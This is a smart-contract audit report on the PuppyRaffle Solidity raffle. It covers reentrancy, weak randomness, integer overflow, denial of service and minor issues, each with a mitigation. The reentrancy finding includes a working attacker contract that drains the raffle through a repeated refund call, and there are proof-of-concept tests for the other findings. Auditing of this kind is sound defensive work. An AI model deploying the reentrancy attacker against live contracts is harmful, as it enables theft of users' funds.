Puppy Raffle Audit Report

Version 1.0

0xl33

December 9, 2024

Puppy Raffle Audit Report

0xl33

December 9, 2024

Prepared by: 0xl33

Table of Contents

    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
    * [L-2] If all the players in the raffle were smart contract wallets without a `receive` or `fallback` function, it would block the start of a new raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an oudated version of solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] Use of "magic" numbers is discouraged
    * [I-5] Missing `WinnerSelected`/`FeesWithdrawn` event emition in `PuppyRaffle::selectWinner`/`PuppyRaffle::withdrawFees` functions
    * [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Note

Ignore the logo on front page, too lazy to make my own, because it's a waste of time lol.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	2
Gas	2

Severity	Number of issues found
Info	6
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain the contract's balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interractions) pattern and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call, we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(
4              playerAddress == msg.sender,
5              "PuppyRaffle: Only the player can refund"
6          );
7          require(
8              playerAddress != address(0),
9              "PuppyRaffle: Player already refunded, or is not active"
10         );
11
12 @>       payable(msg.sender).sendValue(entranceFee);
13
14 @>       players[playerIndex] = address(0);
15         emit RaffleRefunded(playerAddress);
16     }
```

A player who has entered the raffle could have a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund, They could continue the cycle until the contract's balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle

2. Attacker sets up a contract with a `fallback` function that calls `Puppyraffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` function from their attack contract, draining the contract balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
           attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attacker contract balance: ",
            startingAttackContractBalance
        );
        console.log(
            "Starting raffle contract balance: ",
            startingContractBalance
        );

        console.log(
            "Ending attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log(
            "Ending raffle contract balance: ",
            address(puppyRaffle).balance
        );
    }
```

And this contract as well.

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
```

```
10          );
11
12  +       players[playerIndex] = address(0);
13  +       emit RaffleRefunded(playerAddress)
14
15          payable(msg.sender).sendValue(entranceFee);
16
17  -       players[playerIndex] = address(0);
18  -       emit RaffleRefunded(playerAddress);
19      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. A predictable number is not a truly random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy, making the entire raffle worthless if it becomes a gas war.

Proof of Concept:

1. Validators can know `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced by `prevrandao`.
2. User can mind/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1       uint64 myVar = type(uint64).max;
2       // 18446744073709551615
```

```
3       myVar = myVar + 1;
4       // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` will not be able to collect any fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 93 players
2. After the raffle is concluded by calling `PuppyRaffle::selectWinner`, `totalFees` will be equal to 153255926290448384 wei, which is ~0.15 ETH.
3. `feeAddress` will not be able to collect any fees, because at this point, the `totalFees` should be 93 ETH and there is a check in `PuppyRaffle::withdrawFees`, which requires the contract's balance to be equal to `totalFees`.

```
1       require(
2               address(this).balance == uint256(totalFees),
3               "PuppyRaffle: There are currently players active!"
4           );
```

Code

Place the following function into `PuppyRaffleTest` contract in `PuppyRaffleTest.t.sol`

```
1       function testSelectWinnerOverflow() public {
2           uint256 playersNum = 93; // need 93 addresses to get 93 eth `
                entranceFee`, which will be divided by 5, to get 18.6 eth,
                which will be too big to store in uint64
3           address[] memory players = new address[](playersNum);
4           for (uint256 i = 0; i < playersNum; i++) {
5               players[i] = address(i);
6           }
7
8           puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
9           vm.warp(duration + 1);
10
11          console.log(
12              "PuppyRaffle balance before calling selectWinner():",
13              address(puppyRaffle).balance // this value is 93 ETH
14          );
15          uint256 totalFees = address(puppyRaffle).balance / 5; // based
                on this line in `selectWinner()`: `uint256 fee = (
                totalAmountCollected * 20) / 100;`
16          console.log("totalFees should be:", totalFees); // this value
                is 18.6 ETH
17
18          puppyRaffle.selectWinner();
```

```
19          console.log(
20              "totalFees after calling selectWinner:",
21              uint256(puppyRaffle.totalFees()) // this value is ~0.15 ETH
                    , which proves the overflow
22          );
23
24          assertLe(uint256(puppyRaffle.totalFees()), totalFees);
25
26          // due to the overflow, we are also unable to withdraw any fees
                , because of the `require` check
27          vm.prank(puppyRaffle.feeAddress());
28          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
29          puppyRaffle.withdrawFees();
30      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, more precisely, 0.8.0 and up, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` variable.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to go through. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 @>      for (uint256 i = 0; i < players.length - 1; i++) {
2             for (uint256 j = i + 1; j < players.length; j++) {
3                 require(
4                     players[i] != players[j],
5                     "PuppyRaffle: Duplicate player"
```

```
6                   );
7               }
8           }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the list.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else is able to enter, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players: ~6252048 gas -2nd 100 players: ~18068138 gas

This is ~3x more expensive for the 2nd 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1       function testEnterRaffleDOS() public {
2           vm.txGasPrice(1);
3           uint256 playersNum = 100;
4           address[] memory players = new address[](playersNum);
5           for (uint256 i = 0; i < playersNum; i++) {
6               players[i] = address(i);
7           }
8
9           uint256 gasStart = gasleft();
10          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
11          uint256 gasEnd = gasleft();
12
13          uint256 gasUsedFirst100Players = (gasStart - gasEnd) * tx.
                gasprice;
14          console.log(
15              "Gas cost of the first 100 players entering the raffle: ",
16              gasUsedFirst100Players
17          );
18
19          address[] memory players2 = new address[](playersNum);
20
21          for (uint256 i = 0; i < playersNum; i++) {
22              players2[i] = address(i + playersNum);
23          }
24
25          uint256 gasStart2 = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players2);
```

```
27          uint256 gasEnd2 = gasleft();
28
29          uint256 gasUsedSecond100Players = (gasStart2 - gasEnd2) * tx.
               gasprice;
30          console.log(
31              "Gas cost of the second 100 players entering the raffle: ",
32              gasUsedSecond100Players
33          );
34
35          assert(gasUsedFirst100Players < gasUsedSecond100Players);
36      }
```

Run this test with this command: *forge test –mt testEnterRaffleDOS -vv*

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, it only prevents the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this function will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1       function getActivePlayerIndex(
2           address player
3       ) external view returns (uint256) {
4           for (uint256 i = 0; i < players.length; i++) {
5               if (players[i] == player) {
6                   return i;
7               }
8           }
9           return 0;
10      }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

[L-2] If all the players in the raffle were smart contract wallets without a `receive` or `fallback` function, it would block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if all players are smart contract wallets that reject payment, the lottery would not be able to restart.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could steal the win.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: Create a mapping of addresses -> payout, so winners can pull their funds out themselves.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Description: Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playerLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6; // n this version doesn't have integrated safemath
```

[I-2] Using an oudated version of solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1          feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 204

```
1          feeAddress = newFeeAddress;
```

[I-4] Use of "magic" numbers is discouraged

Description: It can be confusing to see number literals in a codebase and it's much more readable if the numbers are given a name.

Examples:

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2      uint256 public constant FEE_PERCENTAGE = 20;
3      uint256 public constant POOL_PRECISION = 100;
```

[I-5] Missing `WinnerSelected`/`FeesWithdrawn` event emition in `PuppyRaffle::selectWinner`/`PuppyRaffle::withdrawFees` functions

Description: Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for tracking this off-chain.

Recommended Mitigation: 1. Add a `WinnerSelected` event that takes the currentWinner and the minted token id as parameters and emit this event in `PuppyRaffle::selectWinner` right before the call to `_safeMint`.

2. Add a `FeesWithdrawn` event that takes the amount withdrawn as parameter and emit this event in `PuppyRaffle::withdrawFees` before the call to `feeAddress`.

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```